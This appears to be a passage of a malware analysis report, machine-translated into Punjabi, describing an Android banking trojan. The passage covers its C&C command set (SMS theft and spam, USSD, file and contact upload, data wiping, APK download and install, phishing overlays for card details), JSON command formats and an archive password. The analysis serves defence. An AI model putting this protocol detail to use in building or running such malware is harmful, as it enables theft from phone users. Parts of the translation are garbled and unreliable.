nameGenerator("IS_FIST_RUN")	ਫਲੈਗ ਨੂੰ ਪਹਿਲੀ ਸ਼ੁਰੂਆਤ 'ਤੇ ਰੀਸੈਟ ਕੀਤਾ ਗਿਆ ਹੈ।
nameGenerator("UNIQUE_ID")	ਇੱਕ ਵਿਲੱਖਣ ਪਛਾਣਕਰਤਾ ਰੱਖਦਾ ਹੈ। ਜਦੋਂ ਬੋਟ ਨੂੰ ਪਹਿਲੀ ਵਾਰ ਲਾਂਚ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਤਾਂ ਉਤਪੰਨ ਹੁੰਦਾ ਹੈ।

ਸਰਵਰ ਤੋਂ ਕਮਾਂਡਾਂ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਨ ਲਈ ਮੋਡੀਊਲ

ਐਪਲੀਕੇਸ਼ਨ CnC ਸਰਵਰਾਂ ਦੇ ਪਤਿਆਂ ਨੂੰ ਏਨਕੋਡ ਕੀਤੇ ਐਰੇ ਦੇ ਰੂਪ ਵਿੱਚ ਸਟੋਰ ਕਰਦੀ ਹੈ ਬੇਸ 85 ਲਾਈਨਾਂ CnC ਸਰਵਰਾਂ ਦੀ ਸੂਚੀ ਨੂੰ ਉਚਿਤ ਕਮਾਂਡ ਪ੍ਰਾਪਤ ਹੋਣ 'ਤੇ ਬਦਲਿਆ ਜਾ ਸਕਦਾ ਹੈ, ਜਿਸ ਸਥਿਤੀ ਵਿੱਚ ਪਤੇ ਇੱਕ ਤਰਜੀਹ ਫਾਈਲ ਵਿੱਚ ਸਟੋਰ ਕੀਤੇ ਜਾਣਗੇ।

ਬੇਨਤੀ ਦੇ ਜਵਾਬ ਵਿੱਚ, ਸਰਵਰ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਇੱਕ ਕਮਾਂਡ ਭੇਜਦਾ ਹੈ। ਇਹ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਕਿ ਕਮਾਂਡਾਂ ਅਤੇ ਪੈਰਾਮੀਟਰ JSON ਫਾਰਮੈਟ ਵਿੱਚ ਪੇਸ਼ ਕੀਤੇ ਗਏ ਹਨ। ਐਪਲੀਕੇਸ਼ਨ ਹੇਠ ਲਿਖੀਆਂ ਕਮਾਂਡਾਂ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰ ਸਕਦੀ ਹੈ:

ਦੀ ਟੀਮ	ਵੇਰਵਾ
ਫਾਰਵਰਡਸਟਾਰਟ	ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਦੁਆਰਾ CnC ਸਰਵਰ ਨੂੰ ਪ੍ਰਾਪਤ ਹੋਏ SMS ਸੁਨੇਹੇ ਭੇਜਣੇ ਸ਼ੁਰੂ ਕਰੋ।
ਫਾਰਵਰਡਸਟਾਪ	ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਦੁਆਰਾ CnC ਸਰਵਰ ਨੂੰ ਪ੍ਰਾਪਤ ਹੋਏ SMS ਸੁਨੇਹਿਆਂ ਨੂੰ ਭੇਜਣਾ ਬੰਦ ਕਰੋ।
ussdRun	USSD ਬੇਨਤੀ ਨੂੰ ਲਾਗੂ ਕਰੋ। ਜਿਸ ਨੰਬਰ ਲਈ ਤੁਹਾਨੂੰ USSD ਬੇਨਤੀ ਕਰਨ ਦੀ ਲੋੜ ਹੈ ਉਹ JSON ਖੇਤਰ "ਨੰਬਰ" ਵਿੱਚ ਸਥਿਤ ਹੈ।
Sms ਭੇਜੋ	ਇੱਕ SMS ਸੁਨੇਹਾ ਭੇਜੋ (ਜੇ ਲੋੜ ਹੋਵੇ, ਸੰਦੇਸ਼ ਨੂੰ ਭਾਗਾਂ ਵਿੱਚ "ਵੰਡਿਆ" ਹੈ)। ਇੱਕ ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ, ਕਮਾਂਡ ਇੱਕ JSON ਆਬਜੈਕਟ ਲੈਂਦੀ ਹੈ ਜਿਸ ਵਿੱਚ "to" - ਮੰਜ਼ਿਲ ਨੰਬਰ ਅਤੇ "body" - ਸੁਨੇਹੇ ਦਾ ਮੁੱਖ ਭਾਗ ਸ਼ਾਮਲ ਹੁੰਦਾ ਹੈ।
SmsAb ਭੇਜੋ	ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਦੀ ਸੰਪਰਕ ਸੂਚੀ ਵਿੱਚ ਹਰੇਕ ਨੂੰ SMS ਸੁਨੇਹੇ ਭੇਜੋ (ਜੇ ਲੋੜ ਹੋਵੇ, ਸੰਦੇਸ਼ ਨੂੰ ਹਿੱਸਿਆਂ ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਹੈ)। ਸੁਨੇਹੇ ਭੇਜਣ ਵਿਚਕਾਰ ਅੰਤਰਾਲ 10 ਸਕਿੰਟ ਹੈ। ਸੁਨੇਹੇ ਦਾ ਮੁੱਖ ਭਾਗ JSON ਖੇਤਰ "body" ਵਿੱਚ ਹੈ
sendSmsMass	ਕਮਾਂਡ ਪੈਰਾਮੀਟਰਾਂ ਵਿੱਚ ਦੱਸੇ ਗਏ ਸੰਪਰਕਾਂ ਨੂੰ SMS ਸੁਨੇਹੇ ਭੇਜੋ (ਜੇ ਲੋੜ ਹੋਵੇ, ਸੰਦੇਸ਼ ਨੂੰ ਭਾਗਾਂ ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਹੈ)। ਸੁਨੇਹੇ ਭੇਜਣ ਵਿਚਕਾਰ ਅੰਤਰਾਲ 10 ਸਕਿੰਟ ਹੈ। ਇੱਕ ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ, ਕਮਾਂਡ ਇੱਕ JSON ਐਰੇ ("sms" ਖੇਤਰ) ਲੈਂਦੀ ਹੈ, ਜਿਸ ਦੇ ਤੱਤ "to" - ਮੰਜ਼ਿਲ ਨੰਬਰ ਅਤੇ "body" - ਸੁਨੇਹੇ ਦਾ ਮੁੱਖ ਭਾਗ ਹੁੰਦੇ ਹਨ।
changeServer	ਇਹ ਕਮਾਂਡ ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ ਕੁੰਜੀ "url" ਦੇ ਨਾਲ ਇੱਕ ਮੁੱਲ ਲੈ ਸਕਦੀ ਹੈ - ਫਿਰ ਬੋਟ nameGenerator ("SERVER_URL"), ਜਾਂ "ਐਰੇ" ਦੇ ਮੁੱਲ ਨੂੰ ਬਦਲ ਦੇਵੇਗਾ - ਫਿਰ ਬੋਟ ਐਰੇ ਨੂੰ nameGenerator ("API_SERVER_LIST") ਵਿੱਚ ਲਿਖ ਦੇਵੇਗਾ। ਇਸ ਤਰ੍ਹਾਂ, ਐਪਲੀਕੇਸ਼ਨ CnC ਸਰਵਰਾਂ ਦਾ ਪਤਾ ਬਦਲਦੀ ਹੈ।
ਐਡਮਿਨ ਨੰਬਰ	ਕਮਾਂਡ ਨੂੰ ਰੂਟ ਨੰਬਰ ਨਾਲ ਕੰਮ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ। ਕਮਾਂਡ ਹੇਠ ਦਿੱਤੇ ਮਾਪਦੰਡਾਂ ਦੇ ਨਾਲ ਇੱਕ JSON ਵਸਤੂ ਨੂੰ ਸਵੀਕਾਰ ਕਰਦੀ ਹੈ: “ਨੰਬਰ” — ਨਾਮ ਜਨਰੇਟਰ(“ROOT_NUMBER”) ਨੂੰ ਪ੍ਰਾਪਤ ਮੁੱਲ ਵਿੱਚ ਬਦਲੋ, “ਮੁੜ ਭੇਜੋ” — ਨਾਮ ਜਨਰੇਟਰ ਬਦਲੋ(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGenerator (“ROOT_NUMBER”) ਨੂੰ ਭੇਜੋ। ) ਵਿਲੱਖਣ ID.
ਅੱਪਡੇਟ ਜਾਣਕਾਰੀ	ਸਰਵਰ ਨੂੰ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਬਾਰੇ ਜਾਣਕਾਰੀ ਭੇਜੋ।
ਡਾਟਾ ਪੂੰਝੋ	ਕਮਾਂਡ ਦਾ ਉਦੇਸ਼ ਉਪਭੋਗਤਾ ਡੇਟਾ ਨੂੰ ਮਿਟਾਉਣਾ ਹੈ। ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਕਿਸ ਨਾਮ ਨਾਲ ਲਾਂਚ ਕੀਤਾ ਗਿਆ ਸੀ ਇਸ 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹੋਏ, ਜਾਂ ਤਾਂ ਡਿਵਾਈਸ ਰੀਬੂਟ (ਪ੍ਰਾਇਮਰੀ ਉਪਭੋਗਤਾ) ਨਾਲ ਡੇਟਾ ਪੂਰੀ ਤਰ੍ਹਾਂ ਮਿਟਾ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ, ਜਾਂ ਸਿਰਫ ਉਪਭੋਗਤਾ ਡੇਟਾ (ਸੈਕੰਡਰੀ ਉਪਭੋਗਤਾ) ਨੂੰ ਮਿਟਾਇਆ ਜਾਂਦਾ ਹੈ।
socksStart	ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਲਾਂਚ ਕਰੋ। ਮੋਡੀਊਲ ਦੀ ਕਾਰਵਾਈ ਨੂੰ ਇੱਕ ਵੱਖਰੇ ਭਾਗ ਵਿੱਚ ਦੱਸਿਆ ਗਿਆ ਹੈ.
socksStop	ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਨੂੰ ਰੋਕੋ।
ਲਿੰਕ ਖੋਲ੍ਹੋ	ਲਿੰਕ ਦੀ ਪਾਲਣਾ ਕਰੋ. ਲਿੰਕ "url" ਕੁੰਜੀ ਦੇ ਹੇਠਾਂ JSON ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਸਥਿਤ ਹੈ। ਲਿੰਕ ਖੋਲ੍ਹਣ ਲਈ “android.intent.action.VIEW” ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।
ਸਾਰੇSms ਅੱਪਲੋਡ ਕਰੋ	ਡਿਵਾਈਸ ਦੁਆਰਾ ਪ੍ਰਾਪਤ ਹੋਏ ਸਾਰੇ SMS ਸੁਨੇਹੇ ਸਰਵਰ ਨੂੰ ਭੇਜੋ।
ਸਾਰੀਆਂ ਫੋਟੋਆਂ ਅੱਪਲੋਡ ਕਰੋ	ਕਿਸੇ ਲਾਗ ਵਾਲੇ ਡਿਵਾਈਸ ਤੋਂ ਇੱਕ URL ਤੇ ਚਿੱਤਰ ਭੇਜੋ। URL ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ ਆਉਂਦਾ ਹੈ।
ਅੱਪਲੋਡ ਫਾਈਲ	ਕਿਸੇ ਲਾਗ ਵਾਲੇ ਡਿਵਾਈਸ ਤੋਂ ਇੱਕ URL ਤੇ ਇੱਕ ਫਾਈਲ ਭੇਜੋ। URL ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ ਆਉਂਦਾ ਹੈ।
ਫ਼ੋਨ ਨੰਬਰ ਅੱਪਲੋਡ ਕਰੋ	ਆਪਣੀ ਸੰਪਰਕ ਸੂਚੀ ਤੋਂ ਸਰਵਰ ਨੂੰ ਫ਼ੋਨ ਨੰਬਰ ਭੇਜੋ। ਜੇ "ab" ਕੁੰਜੀ ਵਾਲਾ JSON ਵਸਤੂ ਮੁੱਲ ਪੈਰਾਮੀਟਰ ਵਜੋਂ ਪ੍ਰਾਪਤ ਹੁੰਦਾ ਹੈ, ਤਾਂ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਫ਼ੋਨ ਬੁੱਕ ਤੋਂ ਸੰਪਰਕਾਂ ਦੀ ਸੂਚੀ ਪ੍ਰਾਪਤ ਹੁੰਦੀ ਹੈ। ਜੇ "sms" ਕੁੰਜੀ ਵਾਲਾ JSON ਵਸਤੂ ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ ਪ੍ਰਾਪਤ ਹੁੰਦੀ ਹੈ, ਤਾਂ ਐਪਲੀਕੇਸ਼ਨ SMS ਸੁਨੇਹਿਆਂ ਦੇ ਭੇਜਣ ਵਾਲਿਆਂ ਦੇ ਸੰਪਰਕਾਂ ਦੀ ਸੂਚੀ ਪੜ੍ਹਦੀ ਹੈ।
changeArchive	ਐਪਲੀਕੇਸ਼ਨ ਪਤੇ ਤੋਂ ਫਾਈਲ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਦੀ ਹੈ ਜੋ "url" ਕੁੰਜੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ 'ਤੇ ਆਉਂਦੀ ਹੈ। ਡਾਉਨਲੋਡ ਕੀਤੀ ਫਾਈਲ ਨੂੰ "archive.zip" ਨਾਮ ਨਾਲ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਐਪਲੀਕੇਸ਼ਨ ਫਿਰ ਫਾਈਲ ਨੂੰ ਅਨਜ਼ਿਪ ਕਰੇਗੀ, ਵਿਕਲਪਿਕ ਤੌਰ 'ਤੇ ਪੁਰਾਲੇਖ ਪਾਸਵਰਡ "b5jXh37gxgHBrZhQ4j3D" ਦੀ ਵਰਤੋਂ ਕਰਕੇ। ਅਨਜ਼ਿਪ ਕੀਤੀਆਂ ਫਾਈਲਾਂ ਨੂੰ [ਬਾਹਰੀ ਸਟੋਰੇਜ]/hgps ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਇਸ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ, ਐਪਲੀਕੇਸ਼ਨ ਵੈੱਬ ਨਕਲੀ ਸਟੋਰ ਕਰਦੀ ਹੈ (ਹੇਠਾਂ ਦੱਸਿਆ ਗਿਆ ਹੈ)।
ਕਾਰਵਾਈਆਂ	ਕਮਾਂਡ ਨੂੰ ਐਕਸ਼ਨ ਸਰਵਿਸ ਨਾਲ ਕੰਮ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ, ਜਿਸਦਾ ਵਰਣਨ ਇੱਕ ਵੱਖਰੇ ਭਾਗ ਵਿੱਚ ਕੀਤਾ ਗਿਆ ਹੈ।
ਟੈਸਟ	ਕੁਝ ਨਹੀਂ ਕਰ ਰਿਹਾ।
ਡਾਊਨਲੋਡ	ਕਮਾਂਡ ਦਾ ਉਦੇਸ਼ ਰਿਮੋਟ ਸਰਵਰ ਤੋਂ ਇੱਕ ਫਾਈਲ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨਾ ਹੈ ਅਤੇ ਇਸਨੂੰ "ਡਾਊਨਲੋਡ" ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਸੁਰੱਖਿਅਤ ਕਰਨਾ ਹੈ। URL ਅਤੇ ਫਾਈਲ ਨਾਮ ਇੱਕ ਪੈਰਾਮੀਟਰ ਦੇ ਰੂਪ ਵਿੱਚ ਆਉਂਦੇ ਹਨ, JSON ਪੈਰਾਮੀਟਰ ਆਬਜੈਕਟ ਵਿੱਚ ਕ੍ਰਮਵਾਰ ਖੇਤਰ: “url” ਅਤੇ “fileName”।
ਨੂੰ ਹਟਾਉਣ	"ਡਾਊਨਲੋਡਸ" ਡਾਇਰੈਕਟਰੀ ਵਿੱਚੋਂ ਇੱਕ ਫਾਈਲ ਨੂੰ ਹਟਾਉਂਦਾ ਹੈ। ਫਾਈਲ ਨਾਮ "ਫਾਇਲ ਨਾਮ" ਕੁੰਜੀ ਦੇ ਨਾਲ ਇੱਕ JSON ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਆਉਂਦਾ ਹੈ। ਮਿਆਰੀ ਫਾਈਲ ਦਾ ਨਾਮ "tmp.apk" ਹੈ।
ਸੂਚਨਾ	ਪ੍ਰਬੰਧਨ ਸਰਵਰ ਦੁਆਰਾ ਪਰਿਭਾਸ਼ਿਤ ਵਰਣਨ ਅਤੇ ਸਿਰਲੇਖ ਟੈਕਸਟ ਦੇ ਨਾਲ ਇੱਕ ਸੂਚਨਾ ਦਿਖਾਓ।

ਕਮਾਂਡ ਫਾਰਮੈਟ ਸੂਚਨਾ:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

ਜਾਂਚ ਅਧੀਨ ਫਾਈਲ ਦੁਆਰਾ ਤਿਆਰ ਕੀਤੀ ਗਈ ਨੋਟੀਫਿਕੇਸ਼ਨ ਖੇਤਰ ਵਿੱਚ ਦਰਸਾਏ ਗਏ ਐਪਲੀਕੇਸ਼ਨ ਦੁਆਰਾ ਤਿਆਰ ਕੀਤੀਆਂ ਸੂਚਨਾਵਾਂ ਦੇ ਸਮਾਨ ਦਿਖਾਈ ਦਿੰਦੀ ਹੈ ਐਪ. ਜੇਕਰ ਖੇਤਰ ਮੁੱਲ ਓਪਨ ਐਪ — ਇਹ ਸੱਚ ਹੈ, ਜਦੋਂ ਇੱਕ ਨੋਟੀਫਿਕੇਸ਼ਨ ਖੋਲ੍ਹਿਆ ਜਾਂਦਾ ਹੈ, ਖੇਤਰ ਵਿੱਚ ਦਰਸਾਏ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਲਾਂਚ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਐਪ. ਜੇਕਰ ਖੇਤਰ ਮੁੱਲ ਓਪਨ ਐਪ - ਝੂਠ, ਫਿਰ:

• ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਖੁੱਲ੍ਹਦੀ ਹੈ, ਜਿਸ ਦੀ ਸਮੱਗਰੀ ਡਾਇਰੈਕਟਰੀ ਤੋਂ ਡਾਊਨਲੋਡ ਕੀਤੀ ਜਾਂਦੀ ਹੈ <%ਬਾਹਰੀ ਸਟੋਰੇਜ%>/hgps/<%filename%>
• ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਖੁੱਲ੍ਹਦੀ ਹੈ, ਜਿਸ ਦੀ ਸਮੱਗਰੀ ਸਰਵਰ ਤੋਂ ਡਾਊਨਲੋਡ ਕੀਤੀ ਜਾਂਦੀ ਹੈ <%url%>?id=<%Bot id%>&app=<%Application name%>
• ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਖੁੱਲ੍ਹਦੀ ਹੈ, ਇੱਕ Google Play ਕਾਰਡ ਦੇ ਰੂਪ ਵਿੱਚ, ਕਾਰਡ ਦੇ ਵੇਰਵੇ ਦਾਖਲ ਕਰਨ ਦੇ ਮੌਕੇ ਦੇ ਨਾਲ।

ਐਪਲੀਕੇਸ਼ਨ ਕਿਸੇ ਵੀ ਕਮਾਂਡ ਦਾ ਨਤੀਜਾ ਭੇਜਦੀ ਹੈ <%CnC%>set_state.php ਹੇਠ ਦਿੱਤੇ ਫਾਰਮੈਟ ਵਿੱਚ ਇੱਕ JSON ਵਸਤੂ ਦੇ ਰੂਪ ਵਿੱਚ:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ਐਕਸ਼ਨਸ ਸਰਵਿਸ
ਕਮਾਂਡਾਂ ਦੀ ਸੂਚੀ ਜੋ ਐਪਲੀਕੇਸ਼ਨ ਪ੍ਰਕਿਰਿਆਵਾਂ ਵਿੱਚ ਸ਼ਾਮਲ ਹੁੰਦੀ ਹੈ ਕਾਰਵਾਈ. ਜਦੋਂ ਕੋਈ ਕਮਾਂਡ ਪ੍ਰਾਪਤ ਹੁੰਦੀ ਹੈ, ਤਾਂ ਕਮਾਂਡ ਪ੍ਰੋਸੈਸਿੰਗ ਮੋਡੀਊਲ ਐਕਸਟੈਂਡਡ ਕਮਾਂਡ ਨੂੰ ਚਲਾਉਣ ਲਈ ਇਸ ਸੇਵਾ ਤੱਕ ਪਹੁੰਚ ਕਰਦਾ ਹੈ। ਸੇਵਾ ਇੱਕ JSON ਵਸਤੂ ਨੂੰ ਪੈਰਾਮੀਟਰ ਵਜੋਂ ਸਵੀਕਾਰ ਕਰਦੀ ਹੈ। ਸੇਵਾ ਹੇਠ ਲਿਖੀਆਂ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾ ਸਕਦੀ ਹੈ:

1. PARAMS_ACTION - ਅਜਿਹੀ ਕਮਾਂਡ ਪ੍ਰਾਪਤ ਕਰਨ ਵੇਲੇ, ਸੇਵਾ ਪਹਿਲਾਂ JSON ਪੈਰਾਮੀਟਰ ਤੋਂ ਟਾਈਪ ਕੁੰਜੀ ਦਾ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਦੀ ਹੈ, ਜੋ ਕਿ ਇਸ ਤਰ੍ਹਾਂ ਹੋ ਸਕਦੀ ਹੈ:

• ਸੇਵਾ ਜਾਣਕਾਰੀ - ਸਬਕਮਾਂਡ JSON ਪੈਰਾਮੀਟਰ ਤੋਂ ਕੁੰਜੀ ਦੁਆਰਾ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ ਮਹੱਤਵਪੂਰਨ ਨਹੀਂ ਸ਼ਾਮਲ. ਜੇਕਰ ਫਲੈਗ ਸਹੀ ਹੈ, ਤਾਂ ਐਪਲੀਕੇਸ਼ਨ ਫਲੈਗ ਸੈੱਟ ਕਰਦੀ ਹੈ FLAG_ISOLATED_PROCESS ਪਹੁੰਚਯੋਗਤਾ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਸੇਵਾ ਲਈ। ਇਸ ਤਰ੍ਹਾਂ ਸੇਵਾ ਨੂੰ ਇੱਕ ਵੱਖਰੀ ਪ੍ਰਕਿਰਿਆ ਵਿੱਚ ਲਾਂਚ ਕੀਤਾ ਜਾਵੇਗਾ।
• ਰੂਟ — ਵਿੰਡੋ ਬਾਰੇ ਸਰਵਰ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰੋ ਅਤੇ ਭੇਜੋ ਜੋ ਇਸ ਸਮੇਂ ਫੋਕਸ ਵਿੱਚ ਹੈ। ਐਪਲੀਕੇਸ਼ਨ AccessibilityNodeInfo ਕਲਾਸ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰਦੀ ਹੈ।
• ਪਰਬੰਧਕ - ਪ੍ਰਬੰਧਕ ਅਧਿਕਾਰਾਂ ਦੀ ਬੇਨਤੀ ਕਰੋ।
• ਦੇਰੀ — “ਡਾਟਾ” ਕੁੰਜੀ ਲਈ ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਨਿਰਧਾਰਤ ਮਿਲੀਸਕਿੰਟ ਦੀ ਸੰਖਿਆ ਲਈ ਐਕਸ਼ਨਸ ਸਰਵਿਸ ਨੂੰ ਮੁਅੱਤਲ ਕਰੋ।
• ਵਿੰਡੋਜ਼ ਨੂੰ — ਉਪਭੋਗਤਾ ਨੂੰ ਦਿਖਾਈ ਦੇਣ ਵਾਲੀਆਂ ਵਿੰਡੋਜ਼ ਦੀ ਸੂਚੀ ਭੇਜੋ।
• ਇੰਸਟਾਲ ਕਰੋ - ਲਾਗ ਵਾਲੇ ਡਿਵਾਈਸ 'ਤੇ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਸਥਾਪਿਤ ਕਰੋ। ਪੁਰਾਲੇਖ ਪੈਕੇਜ ਦਾ ਨਾਮ “fileName” ਕੁੰਜੀ ਵਿੱਚ ਹੈ। ਪੁਰਾਲੇਖ ਖੁਦ ਡਾਊਨਲੋਡ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਸਥਿਤ ਹੈ।
• ਗਲੋਬਲ - ਉਪ-ਕਮਾਂਡ ਮੌਜੂਦਾ ਵਿੰਡੋ ਤੋਂ ਨੈਵੀਗੇਟ ਕਰਨ ਲਈ ਹੈ:
  • ਤਤਕਾਲ ਸੈਟਿੰਗਾਂ ਮੀਨੂ 'ਤੇ
  • ਪਛੜੇ
  • ਘਰ
  • ਸੂਚਨਾਵਾਂ ਨੂੰ
  • ਹਾਲ ਹੀ ਵਿੱਚ ਖੁੱਲ੍ਹੀ ਐਪਲੀਕੇਸ਼ਨ ਵਿੰਡੋ ਵਿੱਚ

• ਲਾਂਚ ਕਰੋ - ਐਪਲੀਕੇਸ਼ਨ ਲਾਂਚ ਕਰੋ। ਐਪਲੀਕੇਸ਼ਨ ਦਾ ਨਾਮ ਕੁੰਜੀ ਦੁਆਰਾ ਇੱਕ ਪੈਰਾਮੀਟਰ ਦੇ ਰੂਪ ਵਿੱਚ ਆਉਂਦਾ ਹੈ ਡਾਟਾ.
• ਆਵਾਜ਼ - ਧੁਨੀ ਮੋਡ ਨੂੰ ਚੁੱਪ ਵਿੱਚ ਬਦਲੋ।
• ਤਾਲਾ - ਸਕ੍ਰੀਨ ਅਤੇ ਕੀਬੋਰਡ ਦੀ ਬੈਕਲਾਈਟ ਨੂੰ ਪੂਰੀ ਚਮਕ 'ਤੇ ਚਾਲੂ ਕਰਦਾ ਹੈ। ਐਪਲੀਕੇਸ਼ਨ ਵੇਕਲੌਕ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਇਹ ਕਾਰਵਾਈ ਕਰਦੀ ਹੈ, ਸਤਰ [ਐਪਲੀਕੇਸ਼ਨ ਲੇਬਲ]: INFO ਨੂੰ ਇੱਕ ਟੈਗ ਵਜੋਂ ਦਰਸਾਉਂਦੀ ਹੈ
• ਇਜਾਜ਼ਤ ਓਵਰਲੇ — ਫੰਕਸ਼ਨ ਲਾਗੂ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ (ਕਮਾਂਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਦਾ ਜਵਾਬ {"message":"Not support"} ਜਾਂ {"message":"low sdk"} ਹੈ)
• ਸੰਕੇਤ — ਫੰਕਸ਼ਨ ਲਾਗੂ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ (ਕਮਾਂਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਦਾ ਜਵਾਬ {"message":"Not support"}ਜਾਂ {"message":"Low API"} ਹੈ)
• ਅਧਿਕਾਰ — ਐਪਲੀਕੇਸ਼ਨ ਲਈ ਅਧਿਕਾਰਾਂ ਦੀ ਬੇਨਤੀ ਕਰਨ ਲਈ ਇਹ ਕਮਾਂਡ ਜ਼ਰੂਰੀ ਹੈ। ਹਾਲਾਂਕਿ, ਪੁੱਛਗਿੱਛ ਫੰਕਸ਼ਨ ਲਾਗੂ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ, ਇਸਲਈ ਕਮਾਂਡ ਅਰਥਹੀਣ ਹੈ। ਬੇਨਤੀ ਕੀਤੇ ਅਧਿਕਾਰਾਂ ਦੀ ਸੂਚੀ "ਇਜਾਜ਼ਤਾਂ" ਕੁੰਜੀ ਦੇ ਨਾਲ ਇੱਕ JSON ਐਰੇ ਵਜੋਂ ਆਉਂਦੀ ਹੈ। ਮਿਆਰੀ ਸੂਚੀ:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• ਓਪਨ - ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਦਿਖਾਓ। ਸਰਵਰ ਤੋਂ ਆਉਣ ਵਾਲੇ ਪੈਰਾਮੀਟਰ 'ਤੇ ਨਿਰਭਰ ਕਰਦਿਆਂ, ਐਪਲੀਕੇਸ਼ਨ ਹੇਠਾਂ ਦਿੱਤੀਆਂ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋਜ਼ ਨੂੰ ਪ੍ਰਦਰਸ਼ਿਤ ਕਰ ਸਕਦੀ ਹੈ:
  • ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਦਿਖਾਓ ਜਿਸਦੀ ਸਮੱਗਰੀ ਇੱਕ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਇੱਕ ਫਾਈਲ ਵਿੱਚ ਲਿਖੀ ਗਈ ਹੈ <%ਬਾਹਰੀ ਡਾਇਰੈਕਟਰੀ%>/hgps/<%param_filename%>. ਵਿੰਡੋ ਦੇ ਨਾਲ ਉਪਭੋਗਤਾ ਇੰਟਰੈਕਸ਼ਨ ਦਾ ਨਤੀਜਾ ਨੂੰ ਭੇਜਿਆ ਜਾਵੇਗਾ <%CnC%>/records.php
  • ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਦਿਖਾਓ ਜਿਸਦੀ ਸਮੱਗਰੀ ਪਤੇ ਤੋਂ ਪਹਿਲਾਂ ਤੋਂ ਲੋਡ ਕੀਤੀ ਗਈ ਹੈ <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ਵਿੰਡੋ ਦੇ ਨਾਲ ਉਪਭੋਗਤਾ ਇੰਟਰੈਕਸ਼ਨ ਦਾ ਨਤੀਜਾ ਨੂੰ ਭੇਜਿਆ ਜਾਵੇਗਾ <%CnC%>/records.php
  • Google Play ਕਾਰਡ ਦੇ ਰੂਪ ਵਿੱਚ ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਦਿਖਾਓ।

